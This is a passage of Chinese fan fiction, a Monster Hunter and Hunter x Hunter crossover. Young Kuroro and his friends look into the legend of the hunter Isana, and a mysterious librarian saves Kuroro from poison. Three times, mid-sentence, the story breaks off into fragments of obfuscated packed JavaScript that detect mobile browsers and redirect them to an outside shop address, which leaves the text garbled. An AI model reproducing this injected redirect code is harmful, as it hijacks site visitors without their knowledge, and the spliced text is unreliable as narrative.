《[猎人]猎龙猎到流星街》 1. 第一章 伊萨纳原本没有名字。 “伊萨纳”一词指的是他所在的旅行团的船只,但因为在跟委托人交流的时候,他一般都会说自己来自伊萨纳,于是久而久之,大家都这么叫他。 他是个极其优秀的怪物猎人,总是毫不犹豫地帮助他人,豁出性命挑战那些强大的巨大怪物。 历经一场又一场殊死战斗,在击败了盘踞在天空山,宛若神明般归来的天廻龙后,他的名气传遍了猎人公会的每个角落。 人们用那些夸赞英雄的词汇称颂他,伊萨纳每次都对这些赞美表现出谦卑,但他从不在一个地方多做停留,每次都会在整装后奔赴下一个需要帮助的地方。 他的朋友,同为怪物猎人的艾登经常半开玩笑地说,如果给伊萨纳一个机会,他甚至能挑战传说中的黑龙。 而当伊萨纳真的挑战了黑龙并安然归来——虽然那条黑龙只是短暂停留,试探后就离开——之后,艾登就不再这么说了。 这个一向开朗的小伙子沉默了许久,最后在某一天收拾好了行李。 “我会成为你真正认可的同伴。” 艾登这样说完,就加入了新大陆探索队,前去挑战未知的世界。 之后他们就再也没有见过面。 不久后,伊萨纳和旅行团共同冒险的日子也迎来了休止符。 事情很简单,无非就是某天团长宣布解散,大家各奔东西:事务员加入书士队学习、大厨回到家乡传授厨艺、制作武器的土龙族小姑娘也返回族地和家人团聚…… 冒险结束,所有人都有了新生活,唯独伊萨纳没什么改变,他依旧不断接受委托,解决或是驱赶那些困扰人类生活的怪物。 除了偶尔与曾经的伙伴来往几封书信之外,他好像与这个世界没有更多联系。 这种状况又持续了几年,直到某天,一直陪伴他的随从艾露猫也表示要离开了。 “虽然很舍不得,但我得回去啦。我会给你写很多信的喵,一定记得来看我喵!” 艾露猫拎着小小的行李离开了,东西不多,但全是跟伙伴们的回忆,它偷偷哭了一路。 跟随从猫分开的怪物猎人倒是没有落泪,他只是回到一个人的临时居所,望着艾露猫空荡荡的小床,感到了扑面而来的茫然。 大家依然叫他伊萨纳。 只有他自己知道,他已经失去了“伊萨纳”。 后来,怪物不再那么频繁骚扰人类聚集地,于是他回到了巴尔巴雷村——这是他当年遇到旅行团的地方。 他打算在这里当一个猎人训练员,在温暖的村落平静度日。 但是某一天,黑龙的消息再次出现了。 收到这个消息的时候,他才终于明白,自己一直以来放不下的到底是什么。 当年没有接受伙伴们的邀请,一起去某个地方定居的理由。 没有挽留去往新大陆的艾登,也没有挽留随从艾露猫的离开,内心却一直感到空虚的理由…… “米拉波雷亚斯(黑龙)。” 踏上黑龙所在的古城遗迹,当刀尖在地上擦出火花的那一刻,伊萨纳的心脏久违地高昂跳动起来。 而作为回应,浑身不祥紫黑色鳞片的黑龙也微微昂首——不是表示认同,而是表达着否定。 猎人情不自禁地露出笑容。 他终于明白,对他来说最重要的事物并不是归处,也不是伊萨纳这个名字和身份。 “若有喉便狂啸,若有耳便倾听,若有心便祈祷。” 在那双否定一切生命的金红色邪眼中,伊萨纳头一次看清了自己灵魂的形状。 他默念着《黑龙传说》中的诗歌,看着黑龙口中聚集的凶煞火光,握紧了手中武器。 那是一个猎人。 一个怪物猎人。 —— ———— “然后……然后呢?” 流星街,教堂区的借阅室内。 听到书本合上的声音,侠客和派克诺妲抬起头,一齐看向库洛洛。 “嗯?然后?”黑发黑眼的少年眨了下眼,将书本的最后一页展示给众人,“《猎人伊萨纳》这本书已经讲完了。” “你知道我们看不懂这种语言吧?”坐在书桌上的芬克斯一脸不满地抱着手臂,“快说最后谁赢了?黑龙,还是猎人?” “什么,原来你也在听啊。”侠客小声嘀咕,换来了芬克斯一声凶狠的“啊?”。 “肯定是黑龙。”飞坦冷淡道,“它的火焰能轻易毁灭一个国家,怎么可能输给人类。” “我觉得猎人也不会输呀。”希拉举手反对,“就像《新大陆纪行》的作者D·猎人那样。” 然后他们齐齐盯着库洛洛看,就好像在说这交给他决定。 左右为难的少年只能无奈地笑:“我也想知道结局,但书到这里就结束了。对了,作者名字是‘艾登’,就是伊萨纳的朋友,可能连他也不知道伊萨纳真正的结局吧。” “什么?”芬克斯无法接受地一拍桌子。 “别管这些了,团长!”侠客跳了起来,打断芬克斯的发难,“我想再听一次伊萨纳狩猎黑蚀龙的那段,特别是根据蛛丝马迹收集情报的时期,我们下次演出就演这一段吧!” “可我觉得跟天廻龙的战斗更合适。”派克诺妲趴在桌上,歪着头说,“两边都尽了全力,重点放在这里的话演出效果肯定会很好。” “那折中一下,演伊萨纳挑战蛇王龙怎么样。”年纪最小的萨拉萨举手,“它那么大个,说不定比黑龙还强呢。” 飞坦抱着双臂,冷哼道:“不可能。” “为什么?” “那个,大家冷静一下……” 看着眼前的一片混乱,十二岁的库洛洛在心里叹了口气,然后突然注意到借阅室里少了一个人。 “窝金去哪了?” “不知道,”一直没出声的玛奇打了个哈欠,“他在你讲到一半的时候突然跑出去了。可能是觉得无聊吧,我也觉得没什么意思。” “那家伙什么时候走的?”信长转头看了眼身边空荡荡的书桌,“我都没注意。” “就是讲到猎人伊萨纳敲击旅行船上的铜锣,赶走豪山龙的时候。”玛奇回答。 “你这不是听得挺仔细的……”侠客双手枕在脑后,小声嘀咕。 可是,窝金怎么会突然离开? 库洛洛心想。 他们正在决定下一场演出的内容,录像带不好找,干脆就从书里找些图片,改编成配音故事,所以今天特地聚集到这,听库洛洛把书里的大致内容再讲一遍。 窝金一直期待着今天,他以前听过这个故事,对这本书里的怪物念念不忘,来的路上还在问众人自己更适合演雷狼龙还是豪山龙,或者碎龙也行。 信长噗嗤笑了,说你适合演野猪王。 于是他们差点打起来。 库洛洛思索着,将书翻回扉页,上面写着一行字:【谨以此书献给我的朋友伊萨纳。——艾登。】 饱含情感的话语,可即便如此,艾登猎人也没有将伊萨纳塑造成一个纯粹的英雄角色。 甚至有些时候,无情狩猎着怪物的怪物猎人,因为过于强大的力量,反而显得有点像是在收割生命的反派—— 而这也是大家尤其喜欢这本书的原因。 无论何时,伊萨纳都始终如一,认真而舍生忘死地战斗。 作为他唯一的人类朋友,艾登在写这本书的时候大概心情也很复杂吧。 黑发黑眼的男孩想着,打算将书页往后翻。 “喂!你们几个!” 就在此时,借阅室的门被猛地推开,身形高大强壮的少年弯腰将头探进门框,是窝金。他眼睛里几乎在发光,紧接着大手一挥。 “快过来!老子找到好东西了!” 众人面面相觑,除了腿脚不便的希拉表示没太大兴趣,其他人都跟着窝金离开了借阅室。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219045|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走之前,库洛洛在柜台前停顿一下,按照要求把这本书还了回去。 原本趴在桌上的借阅室管理员听见动静,懒散地侧了下脑袋,拿过书看了眼封面,忽然像是感到意外般抬起了头: “这本书,你是从哪找到的?” 微长的黑色乱发下,一双目光倦怠,像是还没睡醒的金红色眼睛看向几个孩子。 由于他极少和别人交流,所以虽然经常为了借阅而过来,但这还是库洛洛第一次与他说话。 “最里面的书架上。”少年回答,“有什么问题吗?” “哦,没事。” 管理员对他微笑点头,然后拿着书端详,而不远处的同伴们在门口招呼库洛洛赶紧去森林,于是少年也打了个招呼,转身就走了。 走之前,他似乎听见管理员喃喃的声音: “森林?” —— ———— 一众孩子轻车熟路地穿过迷宫般堆叠成山的垃圾堆,朝着森林方向走去。 过了一会儿,有人忍不住问窝金:“你到底发现了什么?” “着什么急。” 虽然这么说,但仅仅过了半分钟,窝金就没忍住说了出来。 “前几天,我在森林发现了这么大一块金属。”他比划了个长方形,然后手指在空中乱画,“上面图案就跟书里画的一模一样,喏,这样的。” 一阵沉默。 “你到底在说啥?”芬克斯问。 窝金又比划了一遍:“看不出来吗?这玩意盖在地上,下面肯定有好东西。” “可能就是块棺材板。”飞坦翻了个白眼,“你要这玩意盖你自己?” 窝金接连骂了几句脏话,跟飞坦吵了起来,虽然这场冲突暂时以其他人的劝说而告终,但大个头还是嚷嚷着到了就能知道,而小个子回以不屑的啧声。 众人走进树冠茂密得透不进光的森林,空气中弥漫着叶子腐败的气息,在这里任何长得不如树高的植物都会枯萎死去,剩下的只有喜阴的苔藓。传闻还说森林里住着八眼八脚的怪物,通常出现在老人们教育小孩别乱跑的时候。 窝金径自跑到一棵树下,先是低头看了看,又摸摸后脑勺,转身往旁边走了十几米,然后站在那不动了。 “怎么了?” 其他人跟过去一看,发现树下有个大坑,而十几米外窝金站着的位置横着一块巨大的金属板,虽然已经被岁月侵蚀得面目全非,但依旧能看出原本青蓝的色泽。 “还真一样,很像那本书里的东西,我记得这个纹路。”侠客睁大眼睛,“我明白了,你是想用这个做舞台布景吧?” “不过这板子都快四米长了,台上放得了吗?”信长摸着下巴,上去单手试着抬起来,但堪堪撼动一瞬就松了手,揉着手腕抱怨,“啧,不行,这玩意起码有十几吨!不想砸穿地板就别考虑了。” “不是……” “什么?” “不是我。”窝金表情僵硬,“我没搬过它,它应该在那里才对。” 他指了指十几米外,但那里此刻只剩下一片空地。 “真的吗?”派克诺妲问,“你该不会记错了?” “不可能啊。”大个子困惑地挠着后脑勺。 库洛洛倒是一直没出声,他从看到那块金属的时候就凑上前去,仔细观察。 地上没有拖痕,也就是说,如果窝金没有记错,那它就是从十几米开外被拿到这里的。 玛奇语气冷静地问:“你看出什么了?” “只有一点点,”库洛洛说,“上面刻着的文字,简单来说就是‘猎人伊萨纳长眠于此’,但是……” 他转头看向旁边的窝金所指的空地,那里的土还是松的,旁边散落着零星有如碎玻璃般的漂亮矿石,似乎是匆忙间被落下的。 “这里的确原来有东西在。” 他面露沉思。 “有人抢先我们一步。” 2. 第二章 当库洛洛回到教堂区时,天色已经暗了。 虽然对没能找到线索感到不甘,但最后他们也没发现什么特别的踪迹,只能暂时解散,回到流星街。 库洛洛走进图书区,刚想开口,就发现柜台上放了个关门的标志。 但借阅室的门还开着。 现在应该还没到关闭的时间才对。 他从口袋里拿出那颗在夕阳光线下流光溢彩的矿石,又看了看借阅室,最后还是走了进去。 “有人吗……” 没有回应。 借阅室里空无一人。 管理员忘记锁门了? 库洛洛这样想着,忽然一阵不知来处的风吹动他的头发,转头张望时,发现是借阅室内侧,一直被锁起来的通往高处的楼梯间,此刻不知道被谁打开了。 他怀着好奇走过去,略作思考后,爬上那条破旧又狭窄,仅能通过一人的旋转阶梯,然后一路往上走,很快就到了最高点。 这里堆着一些清扫用的杂物,没有人在的痕迹,他左右看了几眼,最后抬起头,望向开着的窗户—— “……” 眼睛适应了光线后,看见窗外的壮丽景色。 夕阳将地平线与天空连成一片金黄色,不规则的垃圾山上各色金属反射着如同海中波浪的粼粼光泽,辽阔的大地向远方伸去,无边无际。凉爽的风呼啸着从身侧吹过,有种自己也跟着一起被吹走的错觉。 流星街很少有高层建筑,这座塔楼算是为数不多的制高点,第一次来到这个地方,少年不由得感到震撼。 “没想到风景能这么好看,对吧?” 一个惬意的声音。 库洛洛转过头,这才注意到旁边的房檐上有个人。 夕阳在他略显凌乱的黑色头发上染上暖色,边沿破旧的深色斗篷被风微微吹动,尽管神态依旧悠闲过了头,却给人一种通透豁达的印象。 正是下落不明的借阅室管理员。 他向后随意地靠坐着,神色轻松,还拍了拍旁边的瓦片。 “这边视野更好。” “视野……?” 少年这才回过神来,然后翻窗出去,也身手轻巧地跳到房檐上。 “你以前来过这里吗?”管理员问。 库洛洛摇头:“没有。” “那这里就是秘密基地了。” 无比自然的态度让少年忍不住笑了一下,点点头在他旁边坐下来。 两人感受着眼前的景色和微风,直到年轻的管理员再次开口: “我听神甫说,你们要以配音的形式演绎故事?” “是的,我们打算演绎《猎人伊萨纳》里的剧情。” “哦,是那个关于猎人的故事,”青年笑了笑,“有什么不懂的地方可以来问我,别看我这样,我其实也是个猎人。” 猎人? 库洛洛面不改色,他想了一下,再次拿出那颗矿石。 “其实我在调查这块宝石的来历。”他说着,将石头递给管理员,“你知道这是什么吗?” 青年接到手里,对着阳光看了看两眼。 “这不是宝石哦。” “那就是玻璃?” “不,这是‘龙结晶’。”管理员说着,将视线放远,“世界上有很多巨大又强大的生命,当它们死去后,体内的生命能量会从尸体上溢出,逐渐形成这样的结晶,这一块的纯度相当高。” 库洛洛眨了下眼:“这么快就看出来了?” “是的,该怎么说呢……”管理员寻找着措辞,“因为它散发着很强的‘气’。” “玛奇也这么说。” “是那个眼睛像猫一样的女孩?” “嗯,你认识她?” “那还称不上,只是每次看着你们的时候都会被她瞪一眼,所以印象很深。”青年语调平稳地说着,将矿石递回去,“总之,龙结晶就是这样的东西,对身体没什么影响,你留着吧。” “好厉害,”少年拿回龙结晶,喃喃着,“你真的是猎人,原来如此,怪不得连古代语都懂。” “古代语?哦,你是说科科特语。”* 库洛洛立刻追问:“那是什么?” “你问科科特这个词?是这种语言最初的发源地的名字。” “原来如此,”少年想了一下,又压下追问的冲动,换了个话题,“我以前在借来的一本《新大陆纪行》上听说过关于猎人的事。管理员先生是宝石猎人?还是遗迹猎人?” “是怪物猎人哦。” “怪物……?”完全没听说过。 “嗯,但集会所发的证件早就不知道放到哪里去了,哈哈。” 他轻笑了两声,然后干脆枕着双手仰面躺下,在斜斜的房顶上看着天上飘过的云,什么也不做,貌似也没在盯着什么地方。 然而库洛洛总觉得,他能看到什么自己看不到的东西。 明明态度漫不经心,但为什么呢……就是让人觉得很喜欢跟他呆在一块。 有种不可思议的感觉。 “对了,库洛洛,”管理员忽然开口,“流星街在哪?” “……什么意思?” 少年被这突如其来的问题问得愣了一下。 “抱歉,可能有点歧义,我是问相对于这片大陆来说,它大概在什么位置?” 流星街——相对于大陆。 相对于这个抛弃了它的世界来说,到底在哪。 其实对流星街人而言这是个唐突的问题,奈何提问的人实在率直,让人反感不起来。 “不知道。” 库洛洛轻轻摇头。 然后他想了想,又补充:“我有几个猜测,但所有地图上都不会把这里画出来,如果你要确切位置……” “那就不用了,”管理员朝他点点头,“抱歉,我只是随便问问。” “嗯。” 于是库洛洛又看着眼前的风景发了会呆。 过了一阵,他忽然想起什么,视线看向远方的森林,发现过去的道路清晰可见。 “对了,管理员先生,之前我们几个去森林之后,你有没有看到什么人从那个方向出来?” “你们去森林之后?那也太久啦,”管理员坐起来,惬意地伸了个懒腰,语气就像是在说那是去年的事,“我才上来没多久,毕竟也不能一直偷懒啊。” “那——” “库洛洛!”少年刚打算问些别的,但从窗口突然传来老神甫的声音,听上去还有些气喘,“你在那里做什么?太危险了,快下来。” 库洛洛赶紧坐起来,他朝着窗口望了一眼,又下意识转头看向管理员的方向。 不见了。 空荡荡的房檐上,就像从未坐过别人。 连一点声音或者风的流动都没有注意到,到底是什么时候…… “库洛洛?” “我这就过来!您小心点。” 少年回去搀扶起因为急着爬楼梯而累够呛的老神甫,在关窗的时候,他无意间看到远处的垃圾山,忽然发现管理员的身影,那人已经走出了很远。 注意到他的视线后,青年还回过头对他摆了摆手,然后笑着将食指竖在嘴前,示意他保密。 也不知道是指秘密基地的事,还是在说翘班的事。 ……真是个随心所欲的人。 库洛洛只能无奈地对他苦笑一下,作为回应。 说起来,自己连他的名字都不知道。 “你这孩子,”老神甫在旁边叹了口气,“唉,就算最近流星街的治安好了不少,你也不能乱跑呀。” “对不起,我就是有点好奇这上面是什么样的。” 老神甫摇摇头:“新来的管理员也不好好锁门,我之后一定好好跟他说。” “您是说那位借阅室管理员吗?”库洛洛问,“他应该不是流星街人,是被雇佣来的?” “雇佣?正相反呐,他自己主动要留下来的,据说是在等什么人,已经呆了一个多月。” “一个月……长老居然允许外来者留在教堂区这么久?” “哦,严格来说也不算外来者,”神甫说,“长老们让人在外界查过,他没有身份证件,连假的也没有,没人知道他的过去和来历。” 【“这么说来我也是个流星街人,毕竟连可以说出来的名字都没有。”】 ——当时面对一众流星街人,他是这么说的。 那句话本身没有多少说服力,但坦然的态度莫名令人信服,更何况,他真的只花了几天就融入了这里的生活,让很多人都接纳了他。 然而听到这,库洛洛心里却觉得奇怪。 没有身份证件,那他是怎么考的猎人执照? 不对,这么说来,他说的是“集会所发的证件”。 集会所……这个词好像最近在哪听过,就是想不起来。 —— 当天晚上,为了解决心里的诸多困惑,库洛洛在居住区的简陋小屋里一边点蜡烛读书,一边思考白天发生的事。 而就在这时—— “嘭!!!” 一声巨响伴随着大地的震颤,闷闷地从不远处传来。 最开始他还以为打雷了,但今天的气象分明就是晴天,流星街本就少雨,在这个季节更不可能突然下暴雨。 “怎么回事?”、“哪里塌了吗?”、“爆炸?” “喂,看那边!” 人们议论纷纷,探出门查看,有人指了指垃圾山的方向,在月光照耀下,能看到那里正在冒出一股令人不安的烟尘,但介于没有光亮,应该不是火灾。 库洛洛立刻抛下书出了门,循着声音发出的方向一路小跑。 当他赶到的时候,烟尘四散的地方已经聚集了好几个人,他们正围着一座垃圾山——准确来说,是围着一辆在垃圾山上,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219046|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被扭曲成异常形状的货车。 车子的头尾都极端地向上翘着,只能用面目全非来形容。 它被什么东西折成三份,像是死前因肢体僵硬而抬起头的动物,月光在错位的骨架上折射出柔软的光,居然显得有几分异样的美。 而且,更重要的。 “它难道是被……”少年看着现场情况,难以置信地蹙起眉,“扔过来的?” 眼前的货车直接嵌入了垃圾山的一侧,像是把捅进去的刀子。 从这个方向轨迹来看,它应该是从森林那边来的。 就在这时,借着月光,库洛洛看见从货车驾驶室的一侧搭下来了什么东西,那是一件外套,上面还沾着一大片血迹。 没看到尸体,但也许通过外套能找到人。 他想了想,在大人们还乱成一团的时候,就先一步爬到垃圾山上,将那件外套取了下来。 不过直到凑近了才注意到,像是某种制服,上面粘稠的深色液体和单纯的血还不太一样。 “……这是什么?” 库洛洛检查了一下,发现外套上的标志很陌生,至少并不属于流星街。 也就是说,流血的不是流星街人。 少年稍稍松了口气。 与此同时,他听见旁边有交谈声。 “排查过了,这辆车不是我们的!” “那就是外来者的咯?” “直接把垃圾丢过来的事情还少吗?就这样呗,派出一队人夜间警戒,回收组先把油箱和电池取下来,其他人回去睡觉。” 大人们这样商谈着,张罗起收取物资的事。 明明是异常的事态,但少年心里莫名松了口气,随手放下那件外套。 然而,就在他放松的下一瞬—— “咔嚓、” 金属断裂的声音。 随着这不祥的预兆,大地再次开始震颤,垃圾山无法拽住巨大的货车,开始往下滑落。 “快跑!”有人喊着,“车砸下来了!” 事情发生得非常快。 由于光线昏暗,下面站着几个人来不及跑开,库洛洛不在落点范围内,他下意识思考救人的办法,但在付之行动前,就被滑落的垃圾狠狠砸到肩膀。 只是一瞬间的功夫车就砸了下来,救人也来不及,他只能徒劳地望过去。 然而,就在此时。 在少年漆黑的视线中,货车下落的速度莫名变慢了。 就像是错觉一样,但的确直到所有人逃开,它才轰然落下。 库洛洛还没缓过劲,他下意识打算回头确认一下情况。 结果比起周围的人和垃圾山,先看到的是一片阴影。 “咦?” 有个人站在他身边,微微俯下身,就这么悄无声息又疑惑地盯着他的脸。 库洛洛抬起头,面前的人是管理员。 “真巧,又见面了。”青年说。 这个人难道是想出现在什么地方,就会立刻出现吗?简直就像是幽灵。库洛洛心里想着,然后就听见对方继续道: “死掉的不是流星街人,而是外来入侵者,真是太好了。——你是不是这样想的?” “哎?” “哈哈,别这么紧张,就是开个玩笑。” “呃……” 管理员的态度的确没有恶意,而且没有发生什么伤亡,值得庆幸。明明都是好事,但眼下,这种不自然的放松感却让库洛洛察觉到一丝异样。 他观察着管理员的神色,后者注意到他的打量,那双金红色的眼睛看向一旁: “你在怀疑我吗?” 见瞒不过去,库洛洛只能直说:“我有理由。” “是什么?” “流星街的巡逻队佩戴的是枪支,无论什么设备都没办法造成货车上的折痕,而且无论是谁,也没办法把这么重的货车抛这么远。” 管理员指了指自己:“我就可以吗?” “我不是在指责你是犯人,但刚刚我隐约看到了,你在后面拉了这辆货车一下。” “那是……”管理员张了张嘴,又把话咽了回去,“也是,在你眼里的确是不正常的力量,但等你长大就会知道了,暂时保密。” “那到底是什么?”库洛洛站起来追问,“你和玛奇能看到,我却看不到的到底是——” 咦? 怎么感觉,好黑。 什么都看不见,月光被遮住了吗? 库洛洛还能听见周围大人们行动的动静,下意识想抬起手确认自己的状态,但肢体却不听控制。 先是四肢,然后是脖颈以下的部分全都失去了知觉。 最后连意识也无法保持,无尽的睡意像泥潭般拽着他下落。 他倒了下去。 在昏迷前,库洛洛隐约感觉自己的手被抓住,而接住他的管理员困惑地喃喃着: “这是……?” 3. 第三章 库洛洛做了一个噩梦。 梦里他站在一片岩浆中,同伴们全都不在身旁,周围异常灼热,每次呼吸都像是濒临死亡一样痛苦。 他尝试寻找出路,但也只能眼睁睁看着自己的双脚被烈火侵蚀,然后是全身,就像一根融化的蜡烛。 无法呼吸,使不上力。 逐渐失去了时间的感知。 逐渐失去了自我的概念。 都变成这样了,为什么还是死不掉呢? 他漆黑的眼睛死死盯着眼前地狱般的景色,迷茫地想着。 这样的景色会持续到什么时候? 流星街人死后就会下到这样的地狱来吗? 还是比地狱更深邃的什么地方? 无数的问题从脑海中浮现,然后他在心里叹了口气,闭上眼睛。 算了。 怎样都行。 生和死同样严苛,至少他死后,会和其他孩子一样被埋在教堂后的墓地。 “现在要死还太早了。” 听见不知是谁的声音,少年再次睁开眼,然后他看到了与这无间地狱截然不同的东西—— 那是一枚鳞片。 白金色的,洁净的,无比美丽的龙鳞。 —— 然后痛苦全都消失了。 库洛洛缓缓睁开眼,听见流星街那种独有的杂乱声音从远方传来。 眼前不再是黑夜中混乱的垃圾山,看周围的环境应该是教堂区的医疗室,而且天已经亮了,能看到温暖的日光从窗外洒进来。 “唰。” 有人翻书的声音。 于是库洛洛转过头,发现管理员正在旁边翻着一本地理图册,阳光在他身上勾勒出柔和的轮廓,那张面孔上的神色一如既往的漫不经心,但少年很快注意到,他的右手小臂上扎着绷带。 “你醒了?” 注意到库洛洛苏醒的管理员很快就合上书,转身走来。 “有没有哪里不舒服?比如手指之类的。” “没有。”少年面色困惑地支起上半身,坐起来,“我好像昏过去了?” “嗯,毕竟你从货车上拿下来的那件外套,上面有毒。”管理员帮他在身后放了个靠枕,又给他倒了杯水。 “毒?” 青年点头:“而且是一旦渗入体内,就会让人逐渐融化成一团肉泥的猛毒。” 这话让库洛洛想起之前的噩梦,他后知后觉地浑身起了一层鸡皮疙瘩,但张了张嘴,没有说话。 他表情麻木地看向自己握住水杯的手,发现全都没有问题,又感受了一下全身。 没有缺少任何地方。 从指尖到整条手臂,完全看不出中过那种猛毒的痕迹,甚至只是感觉疲惫,连疼痛都没有了。 真的中过那样可怕的毒吗?少年不由得有点怀疑。 “我没骗你,直接触摸的毒性只比注射轻一点点,那件外套已经被焚烧处理,剩下的要过几天才能完全挥发,所以现在那片区域已经被封锁了。” 管理员说着把水壶放到一边,又凑到库洛洛面前,饶有兴趣地上下打量他。 “不过你的体质真顽强,难道是流星街的居住环境让你有了耐受性?说实话,给你喝药的时候我没想到会作用这么好,这片土地还真是神奇。” 库洛洛被他看得有点不好意思:“麻烦你照顾我了。” “我只是来过几次而已,”而且目的还是进行体质观察,“大部分时间还是神甫在照顾你,药也是他做的。” “几次?” 少年总觉得对话有哪里对不上。 似乎看出他的疑惑,管理员微笑道:“嗯,你睡了一整周。” “……?” “那就先这样,”对他的惊讶置之不理,管理员直接转过身,“我还有工作要处理,先走了。” 他从医疗室的门走出去,而在那里,老神甫睁大眼睛看着苏醒的库洛洛。 对于这个在少年身上寄托了流星街未来希望的老人,眼前的情景可以说是奇迹也不为过。他心中感慨万千,又是责备又是欣喜,最终心头一阵酸涩,不由得迎着阳光流下泪来,感谢地脉和神明的仁慈。 虽然平时里和长老们安排事务,为库洛洛的未来做各种规划,仿佛他只是他们谋取权力的工具,但至少此时此刻—— 他只是希望这孩子平安而已。 也是直到这个时候,库洛洛才直观地意识到自己差点死了。 刚才管理员那么轻松的态度,他还以为只是普通地睡了一觉。 过了一会儿,在老神甫的情绪终于稳定下来后,库洛洛向他表达了感谢,又问起其他情况。 “那个,请问我中的毒到底是什么?” 虽然中毒的原因大致能猜到,就是因为摸了外套上和血液混杂在一起的毒物,但那到底是什么毒,现在还尚且不明。 “我也不清楚。”老神甫摇摇头。 “咦?” “我们当时没人见过你这种情况,束手无策的时候,刚刚那位借阅室管理员想出了办法。解药也是他提出的配方,我只是协助而已。” “是这样吗,”库洛洛感叹着,“不愧是猎人,他好像什么都知道。” “不,其实当时光凭那么点线索他也判断不出来,所以他直接用匕首沾了剩下的毒物,然后——” 就那么刺进自己的手臂里。 【“不要紧,哪怕不知道毒物来源,我也能根据症状找出解毒剂的配方。” “截肢、脑神经受损?如果他有这些后遗症,那我肯定也会有的。” “要是还不放心,我可以向你们发誓,这孩子什么事也不会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219047|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”】 “……” 看着老神甫模拟出来的动作,库洛洛微微睁大了眼。 有什么别的东西,正在比毒物更深刻地侵蚀他的四肢百骸。 “据他说,是有过很多中毒经验,”神甫补充,“所以中上一次,就能知道是什么东西导致的,我也觉得很不可思议,但他只是蹲下片刻就站了起来,看上去不像有什么事,我就按照他说的去配了药。” “那他有说是什么毒吗?” “这也没有,哦对了,他说了一句别的什么,好像不是通用语,我老了,记性不好,等我想起来再告诉你,或者你可以直接问他。” “嗯。” 这倒是已经不重要了。 库洛洛闷闷回复了一句,低下头。 他攥紧了手里的被单,想起方才管理员云淡风轻的态度,再次感觉到了自己和他之间那看不见的巨大鸿沟。 不论是能力、知识还是精神力,都差太远了。 虽然可以用年龄和阅历为自己开脱,但说实在的,少年第一次有了无能为力的感觉。 最近一段时间,无论是突然被扔进垃圾山的货车,还是森林里被他者捷足先登填埋起来的英雄之墓,超出他掌握的东西实在太多。 实在是不甘心。 但是…… “不要紧,谁都会有失误,”见他低着头攥紧拳头,老神甫宽慰道,“你还年轻,以后慢慢来,更谨慎一点就——” 话还没说完就半途止住了。 因为他看见,库洛洛那低着的脑袋微微抬起,而少年脸上居然是一副与消沉截然相反,瞪大了眼、激动微笑着的表情,虽然幅度并不夸张,却隐约能看到一些疯狂的东西从他的眼睛里渗出来。 实在太有趣了。 这个世界远比他想象的有意思。 少年的心脏前所未有地快速跳动着。 如此之多的未知和谜团此刻就展现在他的眼前……当然,最有趣的当属谜团的中心—— 那个不知名姓的管理员。 —— 此时,教堂区的另一边,四下无人的借阅室内。 “……正常人恢复起来要多久呢?” 正在整理书架的青年若有所思地绕开手臂上的绷带,看着里面已经完好无损的手臂,思考片刻后又缠了回去。 “真是,感觉被卷进麻烦事了。” 他喃喃着,然后金红色的眼睛望向书架角落里,重新被摆放上去的《猎人伊萨纳》。 古老的厚重书本被人用书皮小心翼翼地包裹完整,旁边还放着一系列其他语言的译本。 这些肯定还是不全部,只是流星街人收集到的部分而已。 “唉。” 他的指尖在那些书上轻轻划过。 “说到底,都是你的错。” 4. 第四章 之后连续好几天,库洛洛都没能找到那个管理员。 他打听了很多地方,也拜托团员帮自己留意线索,但还是找不到,这并非管理员人间蒸发,相反,除了库洛洛之外,不少人都见到了他。 侠客:“啊?借阅室管理员?他刚刚就在外面。我替你去看看。” 富兰克林:“我在垃圾处理组那里看到他了,别动,现在我跑得比你快。” 派克诺妲:“他就在居住区吧?不过你现在才刚刚好起来,还是多休息。” “……” 虽然团员们的关心让他很感动,但这样下去实在是没法找到人。 甚至有一回,信长已经把管理员堵在没有其他出口的房间,让别人叫库洛洛过来,自己紧紧盯着,但还是转眼的功夫人就不见了,跟一阵抓不住的风似的。 “怎么搞的!怎么回事啊!” 信长气得大喊大叫,为此纠结了好几天,还发誓以后再也不让任何人从自己眼皮子底下逃走。 这样的日子持续了一个星期,最后,某天傍晚。 实在没了主意的库洛洛,只能再次来到借阅室上方的塔楼。 他心情沉闷地打开窗户,趴在窗沿向外望去,看到流星街混乱壮丽的景色依旧。 “请等一下。”他蔫蔫地对着窗外说,“我有事想问你。” 一阵沉默。 “什么事?” 过了许久,就在少年差点想放弃的时候,旁边的屋檐上忽然有声音回应。 原来真的在? 库洛洛的眼睛微微睁大。 既然得到回应,应该就是不再躲藏的意思……但现在还不能立刻放松,毕竟这个人,离开的速度是按照微秒计算的。 “为什么不想见我?”库洛洛问,“我还没当面感谢你。” 